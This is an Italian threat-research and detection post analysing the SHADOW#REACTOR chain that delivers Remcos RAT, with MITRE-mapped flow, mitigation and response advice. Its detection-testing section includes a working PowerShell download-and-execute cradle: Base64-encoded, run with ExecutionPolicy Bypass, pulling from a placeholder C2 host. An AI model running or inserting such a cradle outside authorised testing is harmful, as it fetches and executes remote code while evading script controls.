SOC Prime Bias: Medio

15 Gen 2026 18:51

SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR E DISTRIBUZIONE DI REMCOS RAT IN MEMORIA

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR E DISTRIBUZIONE DI REMCOS RAT IN MEMORIA
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

SHADOW#REACTOR è una catena di malware multi-stage per Windows che combina un launcher VBS offuscato, un downloader basato su PowerShell, artefatti di staging solo testo, un loader protetto da .NET Reactor e l’esecuzione di MSBuild per distribuire infine il trojan di accesso remoto (RAT) Remcos.

Investigazione

I ricercatori hanno ricostruito il flusso a partire da uno script VBS recuperato dall’infrastruttura degli attaccanti, seguito da routine PowerShell che riassemblano e decodificano i payload di testo stagionati. La catena procede con il caricamento riflessivo e in memoria di un’assembly .NET e un passaggio finale a MSBuild, che avvia l’esecuzione del Remcos RAT. Il write-up documenta i componenti codificati nel testo, la logica di decrittazione e i metodi di persistenza utilizzati per mantenere l’accesso.

Mitigazione

Aumentare la copertura di monitoraggio per host di script e interpreti, e impedire l’esecuzione di VBS/PowerShell da percorsi scrivibili dagli utenti dove possibile. Aggiungere rilevamenti per traffico HTTP sospetto verso infrastrutture identificate, uso improprio di MSBuild e caricamento riflessivo di assembly .NET. Monitorare per comuni pattern di persistenza, inclusi modifiche alla chiave Run e voci di avvio basate su collegamenti.

Risposta

Se l’attività di SHADOW#REACTOR è confermata, isolare l’endpoint e terminare l’intera catena di processi (wscript.exe → powershell.exe → msbuild.exe). Rimuovere eventuali file di testo di staging e artefatti di registro correlati, e intervenire eliminando i binari Remcos e gli eventuali blob di configurazione associati. Seguire con una revisione forense approfondita per determinare ulteriori compromessi e garantire l’eradicazione completa.

“graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[“<b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/><b>Description</b>: Victim runs a malicious file that launches code.”] class tech_user_execution technique tool_wscript[“<b>Tool</b> – <b>Name</b>: wscript.exe<br/><b>Description</b>: Windows Script Host used to execute VBScript files.”] class tool_wscript builtin tech_vbscript_interp[“<b>Technique</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/><b>Description</b>: Executes Visual Basic scripts on the host system.”] class tech_vbscript_interp technique tech_powershell_interp[“<b>Technique</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/><b>Description</b>: Runs PowerShell commands and scripts.”] class tech_powershell_interp technique tech_http_comm[“<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Uses HTTP/HTTPS to download payload fragments from remote servers.”] class tech_http_comm technique tech_obfuscation[“<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Payload is encoded with Base64, XOR and protected by .NET Reactor.”] class tech_obfuscation technique tech_reflective_loading[“<b>Technique</b> – <b>T1620 Reflective Code Loading</b> / <b>T1574.014 Hijack Execution Flow: AppDomainManager</b><br/><b>Description</b>: Loads a .NET assembly in memory via AppDomainManager hijacking.”] class tech_reflective_loading technique tool_msbuild[“<b>Tool</b> – <b>Name</b>: MSBuild.exe<br/><b>Description</b>: Trusted developer utility abused as a LOLBin to launch the final stage.”] class tool_msbuild builtin malware_remcos[“<b>Malware</b> – <b>Name</b>: Remcos RAT<br/><b>Description</b>: Remote access trojan used for command and control.”] class malware_remcos malware tech_shortcut_mod[“<b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Creates a LNK shortcut in the Startup folder to achieve persistence.”] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|executes via| tool_wscript tool_wscript u002du002d>|runs| tech_vbscript_interp tech_vbscript_interp u002du002d>|invokes| tech_powershell_interp tech_powershell_interp u002du002d>|downloads fragments via| tech_http_comm tech_http_comm u002du002d>|reconstructs payload| tech_obfuscation tech_obfuscation u002du002d>|loads in memory via| tech_reflective_loading tech_reflective_loading u002du002d>|uses| tool_msbuild tool_msbuild u002du002d>|launches| malware_remcos malware_remcos u002du002d>|may create| tech_shortcut_mod “

Flusso di attacco

Esecuzione Simulazione

Requisito: Il Telemetry & Baseline Pre‑flight Check deve essere passato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP individuati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa d’Attacco e Comandi:
    Un attaccante con diritti limitati di movimento laterale desidera eseguire un payload remoto su un host Windows compromesso eludendo le tipiche difese di blocco degli script. Utilizzano PowerShell con -ExecutionPolicy Bypass per ignorare le restrizioni della policy di esecuzione. Il payload malevolo è offuscato come una stringa codificata in Base64 che, quando decodificata, crea un System.Net.WebClient oggetto per scaricare uno script PowerShell da un server C2 e invocarlo. Questa combinazione soddisfa tutti e tre i criteri di rilevamento (ExecutionPolicy Bypass, FromBase64String, System.Net.WebClient).

  • Script Test di Regressione:

    #--------------------------------------------
    # Esecuzione PowerShell malevola simulata
    #--------------------------------------------
    # 1. Creare uno script remoto semplice (solo a scopo dimostrativo)
    $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
    # 2. Codificare lo script in Base64
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
    $b64   = [Convert]::ToBase64String($bytes)
    # 3. Eseguire con Bypass ExecutionPolicy e FromBase64String
    PowerShell -ExecutionPolicy Bypass -Command "
        $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
        Invoke-Expression $decoded
    "
  • Comandi di Pulizia:

    # Rimuovere tutti i payload scaricati e interrompere i processi PowerShell in sospeso
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
    Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue